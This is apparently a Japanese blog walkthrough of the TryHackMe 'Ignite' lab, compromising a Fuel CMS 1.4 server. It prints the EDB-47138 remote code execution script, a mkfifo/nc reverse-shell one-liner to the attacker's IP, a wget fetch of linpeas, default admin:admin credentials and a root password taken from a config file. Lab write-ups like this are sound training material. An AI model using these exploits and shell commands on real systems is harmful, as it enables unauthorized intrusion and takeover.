LoginSignup
6
0

More than 3 years have passed since last update.

[TryHackMe] Ignite - Walkthrough -

Last updated at Posted at 2021-01-12

本稿では、TryHackMeにて提供されている「Ignite」ルームに関する攻略方法(Walkthrough)について検証します。
Ignite.png

エグゼクティブサマリー

ツール

  • nmap
  • searchsploit
  • 47138.py
  • Linpeas

ネットワークサービススキャン

nmap

IPアドレス10.10.43.254ignite.thmとして、/etc/hostsに追加します。その上で、nmapを使用し、ポートスキャンを実行します。

kali@kali:~$ nmap -Pn -T4 -A -vv ignite.thm
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-11 23:42 EST
Nmap scan report for ignite.thm (10.10.43.254)
Host is up, received user-set (0.29s latency).
Scanned at 2021-01-11 23:42:37 EST for 35s
Not shown: 999 closed ports
Reason: 999 conn-refused
PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:43
Completed NSE at 23:43, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:43
Completed NSE at 23:43, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:43
Completed NSE at 23:43, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.00 seconds

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
80/tcp http Apache httpd 2.4.18 ((Ubuntu)), Fuel CMS Version 1.4

HTTPサービスのスキャン

robots.txt ファイル

curlコマンドを使って80/tcpにアクセスしてみます。robots.txtファイルの有無を確認することが狙いです。

kali@kali:~$ curl http://ignite.thm/robots.txt
robots.txt
User-agent: *
Disallow: /fuel/

ブラウザ アクセス

Firefoxブラウザを使って80/tcpにアクセスしてみます。

firefox.png

nmapFirefoxの結果から、Contents Management Systemとして、Fuel CMS Version 1.4が使用されていることが明らかです。
robots.txtの設定値からFuel CMSのログイン画面が特定できました。

http://ignite.thm/fuel/login/

fuelcms.png

管理画面へのログイン試行

FUEL Securityによれば、初期設定のパスワードはadminです。
ユーザー名、パスワードとしてadmin:adminを試してみます。ログインに成功しました。
fuel_dashboard.png

アクセス権の取得

Fuel CMS Version 1.4が抱えている脆弱性について、searchsploitコマンドを使って検索します。
EDB-ID 47138が見つかりました。

kali@kali:~$ searchsploit fuelCMS
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                           |  Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
fuelCMS 1.4.1 - Remote Code Execution                                                                                    | linux/webapps/47138.py
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

47138.pyコードを環境に応じて改変します。
url =パラメータは標的であるhttp://ignite.thm/に変更します。
proxy =パラメータは不要なため、削除します。

47138.py
import requests
import urllib

url = "http://ignite.thm/"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
    xxxx = input('cmd:')
    url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.parse.quote(xxxx>
    r = requests.get(url)

    html = "<!DOCTYPE html>"
    htmlcharset = r.text.find(html)

    begin = r.text[0:20]
    dup = find_nth_overlapping(r.text,begin,2)

    print(r.text[0:dup])

47138.pyコードを実行し、whoamipwdコマンドを使って動作確認を行います。

whoami.png

47138.pyコードが期待通り動作した場合、低特権(www-data)のシェルを獲得することができます。

kali@kali:~$ python3 47138.py 
cmd:whoami
systemwww-data
.
.
.
cmd:pwd
system/var/www/html

リバースシェル

リバースシェルを確立します。はじめに、攻撃端末(kali)側でncコマンドを使って待ち受けます。

kali.
kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...

ignite.thm側にて、リバースシェルを立ち上げます。

ignite.thm
cmd:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.19.198 4444 >/tmp/f

r_shell.png

シェルのアップグレード

操作性を高めるため、シェルをアップグレードします。

$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html$

システム探索

/home/www-dataディレクトリにflag.txtファイルが確認できます。

www-data@ubuntu:/var/www/html$ cd /home
www-data@ubuntu:/home$ ls
ls
www-data
www-data@ubuntu:/home$ cd www-data
cd www-data
www-data@ubuntu:/home/www-data$ ls
ls
flag.txt

flag.txtフラグを取得します。

www-data@ubuntu:/home/www-data$ cat flag.txt
cat flag.txt
6470{BLOCKED}059b

特権昇格

Linpeas」ツールを使ってシステム探索を行います。
攻撃端末(kali)側でSimpleHTTPServerを立ち上げ、ツールをダウンロードできるようにします。

kali.
kali@kali:~/OffsecVM/bin/lin$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.10.43.254 - - [12/Jan/2021 01:23:06] "GET /linpeas.sh HTTP/1.1" 200 -

ignite.thm側でlinpeas.shツールをダウンロードします。

ignite.thm
www-data@ubuntu:/tmp$ wget http://10.11.19.198:8080/linpeas.sh
wget http://10.11.19.198:8080/linpeas.sh
--2021-01-11 22:24:05--  http://10.11.19.198:8080/linpeas.sh
Connecting to 10.11.19.198:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 233665 (228K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 228.19K   210KB/s    in 1.1s    

2021-01-11 22:24:06 (210 KB/s) - 'linpeas.sh' saved [233665/233665]

linpeas.shに実行権限を与え、実行します。

www-data@ubuntu:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@ubuntu:/tmp$ ./linpeas.sh

linpeas.shの実行レポートにおける、Finding 'pwd' or 'passw' variables (and interesting php db definitions) inside /home /var/www /var/backups /tmp /etc /root /mnt (limit 70)項目に注目します。

passw.png

/var/www/html/fuel/application/config/database.phpファイルの内容を確認します。資格情報としてroot:mememeが設定されています。

database.png

suコマンドを使って、root:mememeによる特権昇格の可能性について確認してみます。root権限への昇格に成功しました。

www-data@ubuntu:/home/www-data$ su 
su 
Password: mememe

/rootディレクトリにroot.txtファイルが確認できます。

root@ubuntu:/home/www-data# cd /root
cd /root
root@ubuntu:~# ls
ls
root.txt

root.txtフラグを取得します。

root@ubuntu:~# cat root.txt
cat root.txt
b9bb{BLOKED}482d

まとめ

一般ユーザのアクセス権取得

  • robots.txtの設定値からFuel CMSのログイン画面を特定しました。
  • 管理コンソールのアカウントが初期設定のまま(admin/admin)運用されていることを特定しました。
  • Fuel CMSの脆弱性(EDB-ID 47138)をつき、任意のコードを実行しました。

特権昇格

  • database.phpファイルに資格情報(root:mememe)がハードコーディングされていることを特定しました。
6
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
6
0